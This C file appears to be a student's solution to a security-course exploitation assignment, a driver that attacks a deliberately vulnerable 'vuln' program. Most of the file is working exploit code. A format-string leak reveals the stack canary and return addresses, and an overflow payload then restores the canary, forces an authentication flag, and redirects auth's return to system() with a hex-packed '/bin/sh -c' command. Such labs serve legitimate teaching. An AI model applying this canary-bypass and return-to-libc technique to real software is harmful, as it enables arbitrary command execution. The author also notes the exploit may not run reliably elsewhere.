ques2d.c

#include <stdio.h>
#include <stdarg.h>
#include <unistd.h>
#include <assert.h>
#include <string.h>
#include <stdlib.h>
#include <ctype.h>
#include <sys/types.h>
#include <sys/wait.h>
#include <signal.h>

#define MAX_GRP 1001

/******************************************************************************
   Unless you are interested in the details of how this program communicates
   with a subprocess, you can skip all of the code below and skip directly to
   the main function below. 
*******************************************************************************/

#define err_abort(x) do { \
      if (!(x)) {\
         fprintf(stderr, "Fatal error: %s:%d: ", __FILE__, __LINE__);   \
         perror(""); \
         exit(1);\
      }\
   } while (0)

char buf[1<<20];
unsigned end;
int from_child, to_child;

void print_escaped(FILE *fp, const char* buf, unsigned len) {
   int i;
   for (i=0; i < len; i++) {
      if (isprint(buf[i]))
         fputc(buf[i], stderr);
      else fprintf(stderr, "\\x%02hhx", buf[i]);
   }
}

void put_bin_at(char b[], unsigned len, unsigned pos) {
   assert(pos <= end);
   if (pos+len > end)
      end = pos+len;
   assert(end < sizeof(buf));
   memcpy(&buf[pos], b, len);
}

void put_bin(char b[], unsigned len) {
   put_bin_at(b, len, end);
}

void put_formatted(const char* fmt, ...) {
   va_list argp;
   char tbuf[10000];
   va_start (argp, fmt);
   vsnprintf(tbuf, sizeof(tbuf), fmt, argp);
   put_bin(tbuf, strlen(tbuf));
}

void put_str(const char* s) {
   put_formatted("%s", s);
}

static
void send() {
   err_abort(write(to_child, buf, end) == end);
   usleep(100000); // sleep 0.1 sec, in case child process is slow to respond
   fprintf(stderr, "driver: Sent:'");
   print_escaped(stderr, buf, end);
   fprintf(stderr, "'\n");
   end = 0;
}

char outbuf[1<<20];
int get_formatted(const char* fmt, ...) {
   va_list argp;
   va_start(argp, fmt);
   usleep(100000); // sleep 0.1 sec, in case child process is slow to respond
   int nread=0;
   err_abort((nread = read(from_child, outbuf, sizeof(outbuf)-1)) >=0);
   outbuf[nread] = '\0';
   fprintf(stderr, "driver: Received '%s'\n", outbuf);
   return vsscanf(outbuf, fmt, argp);
}

int pid;
void create_subproc(const char* exec, char* argv[]) {
   int pipefd_out[2];
   int pipefd_in[2];
   err_abort(pipe(pipefd_in) >= 0);
   err_abort(pipe(pipefd_out) >= 0);
   if ((pid = fork()) == 0) { // Child process
      err_abort(dup2(pipefd_in[0], 0) >= 0);
      close(pipefd_in[1]);
      close(pipefd_out[0]);
      err_abort(dup2(pipefd_out[1], 1) >= 0);
      err_abort(execve(exec, argv, NULL) >= 0);
   }
   else { // Parent
      close(pipefd_in[0]);
      to_child = pipefd_in[1];
      from_child = pipefd_out[0];
      close(pipefd_out[1]);
   }
}

/* Shows an example session with subprocess. Change it as you see fit, */

#define STRINGIFY2(X) #X
#define STRINGIFY(X) STRINGIFY2(X)

int main(int argc, char* argv[]) {
   unsigned seed;

   char *nargv[3];
   nargv[0] = "vuln";
   nargv[1] = STRINGIFY(GRP);
   nargv[2] = NULL;
   create_subproc("./vuln", nargv);

   fprintf(stderr, "driver: created vuln subprocess. If you want to use gdb on\n"
           "vuln, go ahead and do that now. Press 'enter' when you are ready\n"
           "to continue with the exploit\n");

   getchar();

   // Run vuln program under GDB. Set breakpoints in main_loop, auth and g
   // to figure out and populate the following values

   void *auth_bp = 0xbfffe738;     // saved ebp for auth function
   void *mainloop_bp = 0xbffff018; // saved ebp for main_loop
   void *auth_ra = 0x0804899f;     // return address for auth
   void *mainloop_ra = 0x0804bf9d; // return address for main_loop

   // The following refer to locations on the stack
   void *auth_user = 0xbfffe580;       // _value_ of user variable in auth
   void *auth_canary_loc = 0xbfffe6fc; // location where auth's canary is stored
   void *auth_bp_loc = 0xbfffe708;     // location of auth's saved bp
   void *auth_ra_loc = 0xbfffe70c;     // location of auth's return address
   void *g_authd = 0xbfffe724;         // location of authd variable of g

   // These values discovered above using GDB will vary across the runs, but the
   // differences between similar variables are preserved, so we compute those.
   unsigned mainloop_auth_bp_diff = mainloop_bp - auth_bp; //0x940
   unsigned mainloop_auth_ra_diff = mainloop_ra - auth_ra;// 0x1ce4

   unsigned auth_canary_user_diff = auth_canary_loc - auth_user; // 0x15c
   unsigned auth_bp_user_diff = auth_bp_loc - auth_user; // 0x168
   unsigned auth_ra_user_diff = auth_ra_loc - auth_user; //16c
   unsigned g_authd_auth_user_diff = g_authd - auth_user; //184
   unsigned main_to_system_diff = 0x22769;
   unsigned main_to_exit_diff = 0x16399;
   unsigned main_to_bin_sh_diff = 0x1431F4;
   unsigned main_auth = mainloop_bp - auth_bp_loc;

   //printf("%x, %x, %x, %x, %x, %x",mainloop_auth_bp_diff, mainloop_auth_ra_diff, auth_canary_user_diff, auth_bp_user_diff, auth_ra_user_diff, g_authd_auth_user_diff);
   // Use GDB + trial&error to figure out the correct offsets where the the
   // stack canary, the saved ebp value, and the return address for the
   // main_loop function are stored. Use those offsets in the place of the
   // numbers in the format string below.
   put_str("e %551$x %554$x %555$x %567$x\n");
   send();

   // Once all of the above information has been populated, you are ready to run
   // the exploit.

   unsigned cur_canary, cur_mainloop_bp, cur_mainloop_ra, main_ra;
   get_formatted("%x%x%x%x", &cur_canary, &cur_mainloop_bp, &cur_mainloop_ra ,&main_ra);
   fprintf(stderr, "driver: Extracted canary=%x, bp=%x, ra=%x, main_ra=%x\n",
           cur_canary, cur_mainloop_bp, cur_mainloop_ra, main_ra);

   unsigned explsz = sizeof(int) + g_authd_auth_user_diff;
   void* *expl = (void**)malloc(explsz);

   memset((void*)expl, '\0', explsz);

   expl[auth_canary_user_diff/sizeof(void*)] = (void*)cur_canary;
   expl[auth_bp_user_diff/sizeof(void*)] = 
      (void*)(cur_mainloop_bp - mainloop_auth_bp_diff);
   expl[g_authd_auth_user_diff/sizeof(void*)] = 1;
   
   //set auth's return address($ebp+4) to system() call address
   expl[auth_ra_user_diff/sizeof(void*)] =
    (void*)(main_ra + main_to_system_diff);

   //set $ebp+12 to system() call's argument (argument string address)
   expl[(auth_ra_user_diff + 2*(sizeof(void *)))/sizeof(void*)] = 
   cur_mainloop_bp - main_auth - 12 - 240 - 10; // ebp_loc - 12(canary) - offset -NOP(spaces)
    
 //provide some space in the string initially   
  for(int i=61;i<=70;i++)
      expl[(auth_canary_user_diff -(i*sizeof(void*)))/sizeof(void*)] =
       (void*)(0x20202020);

   //add bash command to string-> /bin/sh -c 'echo $0; pwd; echo "HACK!!"'
   expl[(auth_canary_user_diff -(60*sizeof(void*)))/sizeof(void*)] =
     (void*)(0x6e69622f); // /bin
   expl[(auth_canary_user_diff -(59*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x2068732f); // /sh 
   expl[(auth_canary_user_diff -(58*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x2720632d); // -c '
   expl[(auth_canary_user_diff -(57*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x6f686365); //echo 
   expl[(auth_canary_user_diff -(56*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x3b302420); //   '
   expl[(auth_canary_user_diff -(55*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x64777020); //pwd
   expl[(auth_canary_user_diff -(54*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x6365203b); //  $0'
   expl[(auth_canary_user_diff -(53*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x22206f68); //  ho "
   expl[(auth_canary_user_diff -(52*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x4b434148); //hack
   expl[(auth_canary_user_diff -(51*sizeof(void*)))/sizeof(void*)] =
    (void*)(0x27222121); //    space  or xxxx
   
   // Now, send the payload
   put_str("p xyz\n");
   send();
   put_str("u ");
   put_bin((char*)expl, explsz);
   put_str("\n");
   send();

   put_str("l \n");
   send();

   usleep(100000);
   get_formatted("%*s");

   kill(pid, SIGINT);
   int status;
   wait(&status);
   printf("THIS CODE ALWAYS RUNS ON MY SYSTEM BUT MAY NOT RUN ON OTHER SYSTEMS, THE SYSTEM() GETS CALLED EVERYTIME WITH CORRECT ARGUMENT BUT SOMETIMES RESULT DOESNT SHOW.\nPLEASE SEE ATTACHED SCREENSHOT\n");

   if (WIFEXITED(status)) {
      fprintf(stderr, "vuln exited, status=%d\n", WEXITSTATUS(status));
   } 
   else if (WIFSIGNALED(status)) {
      printf("vuln killed by signal %d\n", WTERMSIG(status));
   } 
   else if (WIFSTOPPED(status)) {
      printf("vuln stopped by signal %d\n", WSTOPSIG(status));
   } 
   else if (WIFCONTINUED(status)) {
      printf("vuln continued\n");
   }

}